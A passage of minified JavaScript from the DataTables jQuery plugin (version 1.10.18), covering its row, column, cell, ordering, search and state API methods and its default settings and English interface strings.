e)e.hasOwnProperty(s)&&(i=e[s],L.isPlainObject(i)?(L.isPlainObject(t[s])||(t[s]={}),L.extend(!0,t[s],i)):n&&"data"!==s&&"aaData"!==s&&L.isArray(i)?t[s]=i.slice():t[s]=i);return t}function pe(e,t,n){L(e).on("click.DT",t,function(t){L(e).blur(),n(t)}).on("keypress.DT",t,function(t){13===t.which&&(t.preventDefault(),n(t))}).on("selectstart.DT",function(){return!1})}function M(t,e,n,i){n&&t[e].push({fn:n,sName:i})}function P(n,t,e,i){var s=[];return t&&(s=L.map(n[t].slice().reverse(),function(t,e){return t.fn.apply(n.oInstance,i)})),null!==e&&(t=L.Event(e+".dt"),L(n.nTable).trigger(t,i),s.push(t.result)),s}function fe(t){var e=t._iDisplayStart,n=t.fnDisplayEnd(),i=t._iDisplayLength;n<=e&&(e=n-i),e-=e%i,t._iDisplayStart=e=-1===i||e<0?0:e}function ge(t,e){var t=t.renderer,n=C.ext.renderer[e];return L.isPlainObject(t)&&t[e]?n[t[e]]||n._:"string"==typeof t&&n[t]||n._}function E(t){return t.oFeatures.bServerSide?"ssp":t.ajax||t.sAjaxSource?"ajax":"dom"}function me(s,o,t){var e,n;t&&(e=new z(s)).one("draw",function(){t(e.ajax.json())}),"ssp"==E(s)?c(s,o):(S(s,!0),(n=s.jqXHR)&&4!==n.readyState&&n.abort(),wt(s,[],function(t){ut(s);for(var e=kt(s,t),n=0,i=e.length;n<i;n++)k(s,e[n]);c(s,o),S(s,!1)}))}function ve(t,e,n,i,s){for(var o,a,r,l,c=[],h=typeof e,u=0,d=(e=e&&"string"!=h&&"function"!=h&&e.length!==O?e:[e]).length;u<d;u++)for(r=0,l=(a=e[u]&&e[u].split&&!e[u].match(/[\[\(:]/)?e[u].split(","):[e[u]]).length;r<l;r++)(o=n("string"==typeof a[r]?L.trim(a[r]):a[r]))&&o.length&&(c=c.concat(o));var p=f.selector[t];if(p.length)for(u=0,d=p.length;u<d;u++)c=p[u](i,s,c);return J(c)}function be(t){return(t=t||{}).filter&&t.search===O&&(t.search=t.filter),L.extend({search:"none",order:"current",page:"all"},t)}function ye(t){for(var e=0,n=t.length;e<n;e++)if(0<t[e].length)return t[0]=t[e],t[0].length=1,t.length=1,t.context=[t.context[e]],t;return t.length=0,t}function Se(o,t,e,n){function a(t,e){var n;if(L.isArray(t)||t instanceof L)for(var i=0,s=t.length;i<s;i++)a(t[i],e);else t.nodeName&&"tr"===t.nodeName.toLowerCase()?r.push(t):(n=L("<tr><td/></tr>").addClass(e),L("td",n).addClass(e).html(t)[0].colSpan=x(o),r.push(n[0]))}var r=[];a(e,n),t._details&&t._details.detach(),t._details=L(r),t._detailsShow&&t._details.insertAfter(t.nTr)}function _e(t,e){if((n=t.context).length&&t.length){t=n[0].aoData[t[0]];if(t._details){(t._detailsShow=e)?t._details.insertAfter(t.nTr):t._details.detach();var l=n[0],s=new z(l),e=".dt.DT_details",t="draw"+e,n="column-visibility"+e,e="destroy"+e,c=l.aoData;if(s.off(t+" "+n+" "+e),R(c,"_details").length>0){s.on(t,function(t,e){if(l!==e)return;s.rows({page:"current"}).eq(0).each(function(t){var e=c[t];if(e._detailsShow)e._details.insertAfter(e.nTr)})});s.on(n,function(t,e,n,i){if(l!==e)return;var s,o=x(e);for(var a=0,r=c.length;a<r;a++){s=c[a];if(s._details)s._details.children("td[colspan]").attr("colspan",o)}});s.on(e,function(t,e){if(l!==e)return;for(var n=0,i=c.length;n<i;n++)if(c[n]._details)xe(s,n)})}}}}function we(t,e,n,i,s){for(var o=[],a=0,r=s.length;a<r;a++)o.push(y(t,s[a],e));return o}var Ce=[],r=Array.prototype,z=function(t,e){if(!(this instanceof z))return new z(t,e);function n(t){var e,n,i,s;t=t,i=C.settings,s=L.map(i,function(t,e){return t.nTable}),(t=t?t.nTable&&t.oApi?[t]:t.nodeName&&"table"===t.nodeName.toLowerCase()?-1!==(e=L.inArray(t,s))?[i[e]]:null:t&&"function"==typeof t.settings?t.settings().toArray():("string"==typeof t?n=L(t):t instanceof L&&(n=t),n?n.map(function(t){return-1!==(e=L.inArray(this,s))?i[e]:null}).toArray():void 0):[])&&(o=o.concat(t))}var o=[];if(L.isArray(t))for(var i=0,s=t.length;i<s;i++)n(t[i]);else n(t);this.context=J(o),e&&L.merge(this,e),this.selector={rows:null,cols:null,opts:null},z.extend(this,this,Ce)},Te=(C.Api=z,L.extend(z.prototype,{any:function(){return 0!==this.count()},concat:r.concat,context:[],count:function(){return this.flatten().length},each:function(t){for(var e=0,n=this.length;e<n;e++)t.call(this,this[e],e,this);return this},eq:function(t){var e=this.context;return e.length>t?new z(e[t],this[t]):null},filter:function(t){var e=[];if(r.filter)e=r.filter.call(this,t,this);else for(var n=0,i=this.length;n<i;n++)t.call(this,this[n],n,this)&&e.push(this[n]);return new z(this.context,e)},flatten:function(){var t=[];return new z(this.context,t.concat.apply(t,this.toArray()))},join:r.join,indexOf:r.indexOf||function(t,e){for(var n=e||0,i=this.length;n<i;n++)if(this[n]===t)return n;return-1},iterator:function(t,e,n,i){var s,o,a,r,l,c,h,u,d=[],p=this.context,f=this.selector;for("string"==typeof t&&(i=n,n=e,e=t,t=!1),o=0,a=p.length;o<a;o++){var g=new z(p[o]);if("table"===e)(s=n.call(g,p[o],o))!==O&&d.push(s);else if("columns"===e||"rows"===e)(s=n.call(g,p[o],this[o],o))!==O&&d.push(s);else if("column"===e||"column-rows"===e||"row"===e||"cell"===e)for(h=this[o],"column-rows"===e&&(c=Te(p[o],f.opts)),r=0,l=h.length;r<l;r++)u=h[r],(s="cell"===e?n.call(g,p[o],u.row,u.column,o,r):n.call(g,p[o],u,o,r,c))!==O&&d.push(s)}return d.length||i?((t=(i=new z(p,t?d.concat.apply([],d):d)).selector).rows=f.rows,t.cols=f.cols,t.opts=f.opts,i):this},lastIndexOf:r.lastIndexOf||function(t,e){return this.indexOf.apply(this.toArray.reverse(),arguments)},length:0,map:function(t){var e=[];if(r.map)e=r.map.call(this,t,this);else for(var n=0,i=this.length;n<i;n++)e.push(t.call(this,this[n],n));return new z(this.context,e)},pluck:function(e){return this.map(function(t){return t[e]})},pop:r.pop,push:r.push,reduce:r.reduce||function(t,e){return tt(this,t,e,0,this.length,1)},reduceRight:r.reduceRight||function(t,e){return tt(this,t,e,this.length-1,-1,-1)},reverse:r.reverse,selector:null,shift:r.shift,slice:function(){return new z(this.context,this)},sort:r.sort,splice:r.splice,toArray:function(){return r.slice.call(this)},to$:function(){return L(this)},toJQuery:function(){return L(this)},unique:function(){return new z(this.context,J(this))},unshift:r.unshift}),z.extend=function(t,e,n){if(n.length&&e&&(e instanceof z||e.__dt_wrapper))for(var i,s=0,o=n.length;s<o;s++)e[(i=n[s]).name]="function"==typeof i.val?function(e,n,i){return function(){var t=n.apply(e,arguments);return z.extend(t,t,i.methodExt),t}}(t,i.val,i):L.isPlainObject(i.val)?{}:i.val,e[i.name].__dt_wrapper=!0,z.extend(t,e[i.name],i.propExt)},z.register=e=function(t,e){if(L.isArray(t))for(var n=0,i=t.length;n<i;n++)z.register(t[n],e);else for(var s=t.split("."),o=Ce,a=0,r=s.length;a<r;a++){var l,c,h=function(t,e){for(var n=0,i=t.length;n<i;n++)if(t[n].name===e)return t[n];return null}(o,c=(l=-1!==s[a].indexOf("()"))?s[a].replace("()",""):s[a]);h||o.push(h={name:c,val:{},methodExt:[],propExt:[]}),a===r-1?h.val=e:o=l?h.methodExt:h.propExt}},z.registerPlural=t=function(t,e,n){z.register(t,n),z.register(e,function(){var t=n.apply(this,arguments);return t===this?this:t instanceof z?t.length?L.isArray(t[0])?new z(t.context,t[0]):t[0]:O:t})},e("tables()",function(t){return t?new z((t=t,n=this.context,"number"==typeof t?[n[t]]:(i=L.map(n,function(t,e){return t.nTable}),L(i).filter(t).map(function(t){var e=L.inArray(this,i);return n[e]}).toArray()))):this;var n,i}),e("table()",function(t){var t=this.tables(t),e=t.context;return e.length?new z(e[0]):t}),t("tables().nodes()","table().node()",function(){return this.iterator("table",function(t){return t.nTable},1)}),t("tables().body()","table().body()",function(){return this.iterator("table",function(t){return t.nTBody},1)}),t("tables().header()","table().header()",function(){return this.iterator("table",function(t){return t.nTHead},1)}),t("tables().footer()","table().footer()",function(){return this.iterator("table",function(t){return t.nTFoot},1)}),t("tables().containers()","table().container()",function(){return this.iterator("table",function(t){return t.nTableWrapper},1)}),e("draw()",function(e){return this.iterator("table",function(t){"page"===e?g(t):c(t,!1===(e="string"==typeof e?"full-hold"!==e:e))})}),e("page()",function(e){return e===O?this.page.info().page:this.iterator("table",function(t){Gt(t,e)})}),e("page.info()",function(t){var e,n,i,s,o;return 0===this.context.length?O:(n=(e=this.context[0])._iDisplayStart,i=e.oFeatures.bPaginate?e._iDisplayLength:-1,s=e.fnRecordsDisplay(),{page:(o=-1===i)?0:Math.floor(n/i),pages:o?1:Math.ceil(s/i),start:n,end:e.fnDisplayEnd(),length:i,recordsTotal:e.fnRecordsTotal(),recordsDisplay:s,serverSide:"ssp"===E(e)})}),e("page.len()",function(e){return e===O?0!==this.context.length?this.context[0]._iDisplayLength:O:this.iterator("table",function(t){Bt(t,e)})}),e("ajax.json()",function(){var t=this.context;if(0<t.length)return t[0].json}),e("ajax.params()",function(){var t=this.context;if(0<t.length)return t[0].oAjaxData}),e("ajax.reload()",function(e,n){return this.iterator("table",function(t){me(t,!1===n,e)})}),e("ajax.url()",function(e){var t=this.context;return e===O?0===t.length?O:(t=t[0]).ajax?L.isPlainObject(t.ajax)?t.ajax.url:t.ajax:t.sAjaxSource:this.iterator("table",function(t){L.isPlainObject(t.ajax)?t.ajax.url=e:t.ajax=e})}),e("ajax.url().load()",function(e,n){return this.iterator("table",function(t){me(t,!1===n,e)})}),function(t,e){var n,i=[],s=t.aiDisplay,o=t.aiDisplayMaster,a=e.search,r=e.order,e=e.page;if("ssp"==E(t))return"removed"===a?[]:u(0,o.length);if("current"==e)for(c=t._iDisplayStart,h=t.fnDisplayEnd();c<h;c++)i.push(s[c]);else if("current"==r||"applied"==r){if("none"==a)i=o.slice();else if("applied"==a)i=s.slice();else if("removed"==a){for(var l={},c=0,h=s.length;c<h;c++)l[s[c]]=null;i=L.map(o,function(t){return l.hasOwnProperty(t)?null:t})}}else if("index"==r||"original"==r)for(c=0,h=t.aoData.length;c<h;c++)("none"==a||-1===(n=L.inArray(c,s))&&"removed"==a||0<=n&&"applied"==a)&&i.push(c);return i}),xe=(e("rows()",function(e,n){e===O?e="":L.isPlainObject(e)&&(n=e,e=""),n=be(n);var t=this.iterator("table",function(t){return ve("row",e,function(n){var t=d(n),i=s.aoData;if(null!==t&&!o)return[t];if(a=a||Te(s,o),null!==t&&-1!==L.inArray(t,a))return[t];if(null===n||n===O||""===n)return a;if("function"==typeof n)return L.map(a,function(t){var e=i[t];return n(t,e._aData,e.nTr)?t:null});if(n.nodeName)return t=n._DT_RowIndex,e=n._DT_CellIndex,t!==O?i[t]&&i[t].nTr===n?[t]:[]:e?i[e.row]&&i[e.row].nTr===n?[e.row]:[]:(t=L(n).closest("*[data-dt-row]")).length?[t.data("dt-row")]:[];if("string"==typeof n&&"#"===n.charAt(0)){var e=s.aIds[n.replace(/^#/,"")];if(e!==O)return[e.idx]}t=_(v(s.aoData,a,"nTr"));return L(t).filter(n).map(function(){return this._DT_RowIndex}).toArray()},s=t,o=n);var s,o,a},1);return t.selector.rows=e,t.selector.opts=n,t}),e("rows().nodes()",function(){return this.iterator("row",function(t,e){return t.aoData[e].nTr||O},1)}),e("rows().data()",function(){return this.iterator(!0,"rows",function(t,e){return v(t.aoData,e,"_aData")},1)}),t("rows().cache()","row().cache()",function(n){return this.iterator("row",function(t,e){t=t.aoData[e];return"search"===n?t._aFilterData:t._aSortData},1)}),t("rows().invalidate()","row().invalidate()",function(n){return this.iterator("row",function(t,e){pt(t,e,n)})}),t("rows().indexes()","row().index()",function(){return this.iterator("row",function(t,e){return e},1)}),t("rows().ids()","row().id()",function(t){for(var e=[],n=this.context,i=0,s=n.length;i<s;i++)for(var o=0,a=this[i].length;o<a;o++){var r=n[i].rowIdFn(n[i].aoData[this[i][o]]._aData);e.push((!0===t?"#":"")+r)}return new z(n,e)}),t("rows().remove()","row().remove()",function(){var u=this;return this.iterator("row",function(t,e,n){var i,s,o,a,r,l,c=t.aoData,h=c[e];for(c.splice(e,1),i=0,s=c.length;i<s;i++)if(l=(r=c[i]).anCells,null!==r.nTr&&(r.nTr._DT_RowIndex=i),null!==l)for(o=0,a=l.length;o<a;o++)l[o]._DT_CellIndex.row=i;dt(t.aiDisplayMaster,e),dt(t.aiDisplay,e),dt(u[n],e,!1),0<t._iRecordsDisplay&&t._iRecordsDisplay--,fe(t);n=t.rowIdFn(h._aData);n!==O&&delete t.aIds[n]}),this.iterator("table",function(t){for(var e=0,n=t.aoData.length;e<n;e++)t.aoData[e].idx=e}),this}),e("rows.add()",function(o){var t=this.iterator("table",function(t){for(var e,n=[],i=0,s=o.length;i<s;i++)(e=o[i]).nodeName&&"TR"===e.nodeName.toUpperCase()?n.push(at(t,e)[0]):n.push(k(t,e));return n},1),e=this.rows(-1);return e.pop(),L.merge(e,t),e}),e("row()",function(t,e){return ye(this.rows(t,e))}),e("row().data()",function(t){var e,n=this.context;return t===O?n.length&&this.length?n[0].aoData[this[0]]._aData:O:((e=n[0].aoData[this[0]])._aData=t,L.isArray(t)&&e.nTr.id&&m(n[0].rowId)(t,e.nTr.id),pt(n[0],this[0],"data"),this)}),e("row().node()",function(){var t=this.context;return t.length&&this.length&&t[0].aoData[this[0]].nTr||null}),e("row.add()",function(e){e instanceof L&&e.length&&(e=e[0]);var t=this.iterator("table",function(t){return e.nodeName&&"TR"===e.nodeName.toUpperCase()?at(t,e)[0]:k(t,e)});return this.row(t[0])}),function(t,e){var n=t.context;n.length&&(n=n[0].aoData[e!==O?e:t[0]])&&n._details&&(n._details.remove(),n._detailsShow=O,n._details=O)}),ke="row().child",De=ke+"()",Ie=(e(De,function(t,e){var n=this.context;return t===O?n.length&&this.length?n[0].aoData[this[0]]._details:O:(!0===t?this.child.show():!1===t?xe(this):n.length&&this.length&&Se(n[0],n[0].aoData[this[0]],t,e),this)}),e([ke+".show()",De+".show()"],function(t){return _e(this,!0),this}),e([ke+".hide()",De+".hide()"],function(){return _e(this,!1),this}),e([ke+".remove()",De+".remove()"],function(){return xe(this),this}),e(ke+".isShown()",function(){var t=this.context;return t.length&&this.length&&t[0].aoData[this[0]]._detailsShow||!1}),/^([^:]+):(name|visIdx|visible)$/),Ae=(e("columns()",function(n,i){n===O?n="":L.isPlainObject(n)&&(i=n,n=""),i=be(i);var t=this.iterator("table",function(t){return e=n,r=i,l=(a=t).aoColumns,c=R(l,"sName"),h=R(l,"nTh"),ve("column",e,function(n){var i,t=d(n);if(""===n)return u(l.length);if(null!==t)return[0<=t?t:l.length+t];if("function"==typeof n)return i=Te(a,r),L.map(l,function(t,e){return n(e,we(a,e,0,0,i),h[e])?e:null});var s="string"==typeof n?n.match(Ie):"";if(s)switch(s[2]){case"visIdx":case"visible":var e,o=parseInt(s[1],10);return o<0?[(e=L.map(l,function(t,e){return t.bVisible?e:null}))[e.length+o]]:[j(a,o)];case"name":return L.map(c,function(t,e){return t===s[1]?e:null});default:return[]}return n.nodeName&&n._DT_CellIndex?[n._DT_CellIndex.column]:(t=L(h).filter(n).map(function(){return L.inArray(this,h)}).toArray()).length||!n.nodeName?t:(t=L(n).closest("*[data-dt-column]")).length?[t.data("dt-column")]:[]},a,r);var a,e,r,l,c,h},1);return t.selector.cols=n,t.selector.opts=i,t}),t("columns().header()","column().header()",function(t,e){return this.iterator("column",function(t,e){return t.aoColumns[e].nTh},1)}),t("columns().footer()","column().footer()",function(t,e){return this.iterator("column",function(t,e){return t.aoColumns[e].nTf},1)}),t("columns().data()","column().data()",function(){return this.iterator("column-rows",we,1)}),t("columns().dataSrc()","column().dataSrc()",function(){return this.iterator("column",function(t,e){return t.aoColumns[e].mData},1)}),t("columns().cache()","column().cache()",function(o){return this.iterator("column-rows",function(t,e,n,i,s){return v(t.aoData,s,"search"===o?"_aFilterData":"_aSortData",e)},1)}),t("columns().nodes()","column().nodes()",function(){return this.iterator("column-rows",function(t,e,n,i,s){return v(t.aoData,s,"anCells",e)},1)}),t("columns().visible()","column().visible()",function(u,n){var t=this.iterator("column",function(t,e){if(u===O)return t.aoColumns[e].bVisible;var n,i,s=e,e=u,o=t.aoColumns,a=o[s],r=t.aoData;if(e===O)a.bVisible;else if(a.bVisible!==e){if(e)for(var l=L.inArray(!0,R(o,"bVisible"),s+1),c=0,h=r.length;c<h;c++)i=r[c].nTr,n=r[c].anCells,i&&i.insertBefore(n[s],n[l]||null);else L(R(t.aoData,"anCells",s)).detach();a.bVisible=e,bt(t,t.aoHeader),bt(t,t.aoFooter),t.aiDisplay.length||L(t.nTBody).find("td[colspan]").attr("colspan",x(t)),ce(t)}});return u!==O&&(this.iterator("column",function(t,e){P(t,null,"column-visibility",[t,e,u,n])}),n!==O&&!n||this.columns.adjust()),t}),t("columns().indexes()","column().index()",function(n){return this.iterator("column",function(t,e){return"visible"===n?h(t,e):e},1)}),e("columns.adjust()",function(){return this.iterator("table",function(t){F(t)},1)}),e("column.index()",function(t,e){var n;if(0!==this.context.length)return n=this.context[0],"fromVisible"===t||"toData"===t?j(n,e):"fromData"===t||"toVisible"===t?h(n,e):void 0}),e("column()",function(t,e){return ye(this.columns(t,e))}),e("cells()",function(g,t,m){var n,i,s,o,a,r,l,e;return L.isPlainObject(g)&&(g.row===O?(m=g,g=null):(m=t,t=null)),L.isPlainObject(t)&&(m=t,t=null),null===t||t===O?this.iterator("table",function(t){return i=t,t=g,e=be(m),u=i.aoData,d=Te(i,e),n=_(v(u,d,"anCells")),p=L([].concat.apply([],n)),f=i.aoColumns.length,ve("cell",t,function(t){var e,n="function"==typeof t;if(null===t||t===O||n){for(o=[],a=0,r=d.length;a<r;a++)for(s=d[a],l=0;l<f;l++)c={row:s,column:l},(!n||(h=u[s],t(c,y(i,s,l),h.anCells?h.anCells[l]:null)))&&o.push(c);return o}return L.isPlainObject(t)?t.column!==O&&t.row!==O&&-1!==L.inArray(t.row,d)?[t]:[]:(e=p.filter(t).map(function(t,e){return{row:e._DT_CellIndex.row,column:e._DT_CellIndex.column}}).toArray()).length||!t.nodeName?e:(h=L(t).closest("*[data-dt-row]")).length?[{row:h.data("dt-row"),column:h.data("dt-column")}]:[]},i,e);var i,e,s,o,a,r,l,c,h,u,d,n,p,f}):(n=this.columns(t),i=this.rows(g),this.iterator("table",function(t,e){for(s=[],o=0,a=i[e].length;o<a;o++)for(r=0,l=n[e].length;r<l;r++)s.push({row:i[e][o],column:n[e][r]})},1),e=this.cells(s,m),L.extend(e.selector,{cols:t,rows:g,opts:m}),e)}),t("cells().nodes()","cell().node()",function(){return this.iterator("cell",function(t,e,n){t=t.aoData[e];return t&&t.anCells?t.anCells[n]:O},1)}),e("cells().data()",function(){return this.iterator("cell",function(t,e,n){return y(t,e,n)},1)}),t("cells().cache()","cell().cache()",function(i){return i="search"===i?"_aFilterData":"_aSortData",this.iterator("cell",function(t,e,n){return t.aoData[e][i][n]},1)}),t("cells().render()","cell().render()",function(i){return this.iterator("cell",function(t,e,n){return y(t,e,n,i)},1)}),t("cells().indexes()","cell().index()",function(){return this.iterator("cell",function(t,e,n){return{row:e,column:n,columnVisible:h(t,n)}},1)}),t("cells().invalidate()","cell().invalidate()",function(i){return this.iterator("cell",function(t,e,n){pt(t,e,i,n)})}),e("cell()",function(t,e,n){return ye(this.cells(t,e,n))}),e("cell().data()",function(t){var e=this.context,n=this[0];return t===O?e.length&&n.length?y(e[0],n[0].row,n[0].column):O:(rt(e[0],n[0].row,n[0].column,t),pt(e[0],n[0].row,"data",n[0].column),this)}),e("order()",function(e,t){var n=this.context;return e===O?0!==n.length?n[0].aaSorting:O:("number"==typeof e?e=[[e,t]]:e.length&&!L.isArray(e[0])&&(e=Array.prototype.slice.call(arguments)),this.iterator("table",function(t){t.aaSorting=e.slice()}))}),e("order.listener()",function(e,n,i){return this.iterator("table",function(t){ae(t,e,n,i)})}),e("order.fixed()",function(e){var t;return e?this.iterator("table",function(t){t.aaSortingFixed=L.extend(!0,{},e)}):(t=(t=this.context).length?t[0].aaSortingFixed:O,L.isArray(t)?{pre:t}:t)}),e(["columns().order()","column().order()"],function(i){var s=this;return this.iterator("table",function(t,e){var n=[];L.each(s[e],function(t,e){n.push([e,i])}),t.aaSorting=n})}),e("search()",function(e,n,i,s){var t=this.context;return e===O?0!==t.length?t[0].oPreviousSearch.sSearch:O:this.iterator("table",function(t){t.oFeatures.bFilter&&It(t,L.extend({},t.oPreviousSearch,{sSearch:e+"",bRegex:null!==n&&n,bSmart:null===i||i,bCaseInsensitive:null===s||s}),1)})}),t("columns().search()","column().search()",function(i,s,o,a){return this.iterator("column",function(t,e){var n=t.aoPreSearchCols;if(i===O)return n[e].sSearch;t.oFeatures.bFilter&&(L.extend(n[e],{sSearch:i+"",bRegex:null!==s&&s,bSmart:null===o||o,bCaseInsensitive:null===a||a}),It(t,t.oPreviousSearch,1))})}),e("state()",function(){return this.context.length?this.context[0].oSavedState:null}),e("state.clear()",function(){return this.iterator("table",function(t){t.fnStateSaveCallback.call(t.oInstance,t,{})})}),e("state.loaded()",function(){return this.context.length?this.context[0].oLoadedState:null}),e("state.save()",function(){return this.iterator("table",function(t){ce(t)})}),C.versionCheck=C.fnVersionCheck=function(t){for(var e,n,i=C.version.split("."),s=t.split("."),o=0,a=s.length;o<a;o++)if((e=parseInt(i[o],10)||0)!==(n=parseInt(s[o],10)||0))return n<e;return!0},C.isDataTable=C.fnIsDataTable=function(t){var s=L(t).get(0),o=!1;return t instanceof C.Api||(L.each(C.settings,function(t,e){var n=e.nScrollHead?L("table",e.nScrollHead)[0]:null,i=e.nScrollFoot?L("table",e.nScrollFoot)[0]:null;e.nTable!==s&&n!==s&&i!==s||(o=!0)}),o)},C.tables=C.fnTables=function(e){var t=!1,n=(L.isPlainObject(e)&&(t=e.api,e=e.visible),L.map(C.settings,function(t){if(!e||L(t.nTable).is(":visible"))return t.nTable}));return t?new z(n):n},C.camelToHungarian=T,e("$()",function(t,e){e=this.rows(e).nodes(),e=L(e);return L([].concat(e.filter(t).toArray(),e.find(t).toArray()))}),L.each(["on","one","off"],function(t,n){e(n+"()",function(){var t=Array.prototype.slice.call(arguments),e=(t[0]=L.map(t[0].split(/\s/),function(t){return t.match(/\.dt\b/)?t:t+".dt"}).join(" "),L(this.tables().nodes()));return e[n].apply(e,t),this})}),e("clear()",function(){return this.iterator("table",function(t){ut(t)})}),e("settings()",function(){return new z(this.context,this.context)}),e("init()",function(){var t=this.context;return t.length?t[0].oInit:null}),e("data()",function(){return this.iterator("table",function(t){return R(t.aoData,"_aData")}).flatten()}),e("destroy()",function(u){return u=u||!1,this.iterator("table",function(e){var n,t=e.nTableWrapper.parentNode,i=e.oClasses,s=e.nTable,o=e.nTBody,a=e.nTHead,r=e.nTFoot,l=L(s),o=L(o),c=L(e.nTableWrapper),h=L.map(e.aoData,function(t){return t.nTr}),r=(e.bDestroying=!0,P(e,"aoDestroyCallback","destroy",[e]),u||new z(e).columns().visible(!0),c.off(".DT").find(":not(tbody *)").off(".DT"),L(W).off(".DT-"+e.sInstance),s!=a.parentNode&&(l.children("thead").detach(),l.append(a)),r&&s!=r.parentNode&&(l.children("tfoot").detach(),l.append(r)),e.aaSorting=[],e.aaSortingFixed=[],re(e),L(h).removeClass(e.asStripeClasses.join(" ")),L("th, td",a).removeClass(i.sSortable+" "+i.sSortableAsc+" "+i.sSortableDesc+" "+i.sSortableNone),o.children().detach(),o.append(h),u?"remove":"detach"),a=(l[r](),c[r](),!u&&t&&(t.insertBefore(s,e.nTableReinsertBefore),l.css("width",e.sDestroyWidth).removeClass(i.sTable),n=e.asDestroyStripes.length)&&o.children().each(function(t){L(this).addClass(e.asDestroyStripes[t%n])}),L.inArray(e,C.settings));-1!==a&&C.settings.splice(a,1)})}),L.each(["column","row","cell"],function(t,l){e(l+"s().every()",function(o){var a=this.selector.opts,r=this;return this.iterator(l,function(t,e,n,i,s){o.call(r[l](e,"cell"===l?n:a,"cell"===l?a:O),e,n,i,s)})})}),e("i18n()",function(t,e,n){var i=this.context[0],t=D(t)(i.oLanguage);return t===O&&(t=e),(t=n!==O&&L.isPlainObject(t)?t[n]!==O?t[n]:t._:t).replace("%d",n)}),C.version="1.10.18",C.settings=[],C.models={},C.models.oSearch={bCaseInsensitive:!0,sSearch:"",bRegex:!1,bSmart:!0},C.models.oRow={nTr:null,anCells:null,_aData:[],_aSortData:null,_aFilterData:null,_sFilterRow:null,_sRowStripe:"",src:null,idx:-1},C.models.oColumn={idx:null,aDataSort:null,asSorting:null,bSearchable:null,bSortable:null,bVisible:null,_sManualType:null,_bAttrSrc:!1,fnCreatedCell:null,fnGetData:null,fnSetData:null,mData:null,mRender:null,nTh:null,nTf:null,sClass:null,sContentPadding:null,sDefaultContent:null,sName:null,sSortDataType:"std",sSortingClass:null,sSortingClassJUI:null,sTitle:null,sType:null,sWidth:null,sWidthOrig:null},C.defaults={aaData:null,aaSorting:[[0,"asc"]],aaSortingFixed:[],ajax:null,aLengthMenu:[10,25,50,100],aoColumns:null,aoColumnDefs:null,aoSearchCols:[],asStripeClasses:null,bAutoWidth:!0,bDeferRender:!1,bDestroy:!1,bFilter:!0,bInfo:!0,bLengthChange:!0,bPaginate:!0,bProcessing:!1,bRetrieve:!1,bScrollCollapse:!1,bServerSide:!1,bSort:!0,bSortMulti:!0,bSortCellsTop:!1,bSortClasses:!0,bStateSave:!1,fnCreatedRow:null,fnDrawCallback:null,fnFooterCallback:null,fnFormatNumber:function(t){return t.toString().replace(/\B(?=(\d{3})+(?!\d))/g,this.oLanguage.sThousands)},fnHeaderCallback:null,fnInfoCallback:null,fnInitComplete:null,fnPreDrawCallback:null,fnRowCallback:null,fnServerData:null,fnServerParams:null,fnStateLoadCallback:function(t){try{return JSON.parse((-1===t.iStateDuration?sessionStorage:localStorage).getItem("DataTables_"+t.sInstance+"_"+location.pathname))}catch(t){}},fnStateLoadParams:null,fnStateLoaded:null,fnStateSaveCallback:function(t,e){try{(-1===t.iStateDuration?sessionStorage:localStorage).setItem("DataTables_"+t.sInstance+"_"+location.pathname,JSON.stringify(e))}catch(t){}},fnStateSaveParams:null,iStateDuration:7200,iDeferLoading:null,iDisplayLength:10,iDisplayStart:0,iTabIndex:0,oClasses:{},oLanguage:{oAria:{sSortAscending:": activate to sort column ascending",sSortDescending:": activate to sort column descending"},oPaginate:{sFirst:"First",sLast:"Last",sNext:"Next",sPrevious:"Previous"},sEmptyTable:"No data available in table",sInfo:"Showing _START_ to _END_ of _TOTAL_ entries",sInfoEmpty:"Showing 0 to 0 of 0 entries",sInfoFiltered:"(filtered from _MAX_ total entries)",sInfoPostFix:"",sDecimal:"",sThousands:",",sLengthMenu:"Show _MENU_ entries",sLoadingRecords:"Loading...",sProcessing:"Processing...",sSearch:"Search:",sSearchPlaceholder:"",sUrl:"",sZeroRecords:"No matching records found"},oSearch:L.extend({},C.models.oSearch),sAjaxDataProp:"data",sAjaxSource:null,sDom:"lfrtip",searchDelay:null,sPaginationType:"simple_numbers",sScrollX:"",sScrollXInner:"",sScrollY:"",sServerMethod:"GET",renderer:null,rowId:"DT_RowId"},a(C.defaults),C.defaults.column={aDataSort:null,iDataSort:-1,asSorting:["asc","desc"],bSearchable:!0,bSortable:!0,bVisible:!0,fnCreatedCell:null,mData:null,mRender:null,sCellType:"td",sClass:"",sContentPadding:"",sDefaultContent:null,sName:"",sSortDataType:"std",sTitle:null,sType:null,sWidth:null},a(C.defaults.column),C.models.oSettings={oFeatures:{bAutoWidth:null,bDeferRender:null,bFilter:null,bInfo:null,bLengthChange:null,bPaginate:null,bProcessing:null,bServerSide:null,bSort:null,bSortMulti:null,bSortClasses:null,bStateSave:null},oScroll:{bCollapse:null,iBarWidth:0,sX:null,sXInner:null,sY:null},oLanguage:{fnInfoCallback:null},oBrowser:{bScrollOversize:!1,bScrollbarLeft:!1,bBounding:!1,barWidth:0},ajax:null,aanFeatures:[],aoData:[],aiDisplay:[],aiDisplayMaster:[],aIds:{},aoColumns:[],aoHeader:[],aoFooter:[],oPreviousSearch:{},aoPreSearchCols:[],aaSorting:null,aaSortingFixed:[],asStripeClasses:null,asDestroyStripes:[],sDestroyWidth:0,aoRowCallback:[],aoHeaderCallback:[],aoFooterCallback:[],aoDrawCallback:[],aoRowCreatedCallback:[],aoPreDrawCallback:[],aoInitComplete:[],aoStateSaveParams:[],aoStateLoadParams:[],aoStateLoaded:[],sTableId:"",nTable:null,nTHead:null,nTFoot:null,nTBody:null,nTableWrapper:null,bDeferLoading:!1,bInitialised:!1,aoOpenRows:[],sDom:null,searchDelay:null,sPaginationType:"two_button",iStateDuration:0,aoStateSave:[],aoStateLoad:[],oSavedState:null,oLoadedState:null,sAjaxSource:null,sAjaxDataProp:null,bAjaxDataGet:!0,jqXHR:null,json:O,oAjaxData:O,fnServerData:null,aoServerParams:[],sServerMethod:null,fnFormatNumber:null,aLengthMenu:null,iDraw:0,bDrawing:!1,iDrawError:-1,_iDisplayLength:10,_iDisplayStart:0,_iRecordsTotal:0,_iRecordsDisplay:0,oClasses:{},bFiltered:!1,bSorted:!1,bSortCellsTop:null,oInit:null,aoDestroyCallback:[],fnRecordsTotal:function(){return"ssp"==E(this)?+this._iRecordsTotal:this.aiDisplayMaster.length},fnRecordsDisplay:function(){return"ssp"==E(this)?+this._iRecordsDisplay:this.aiDisplay.length},fnDisplayEnd:function(){var 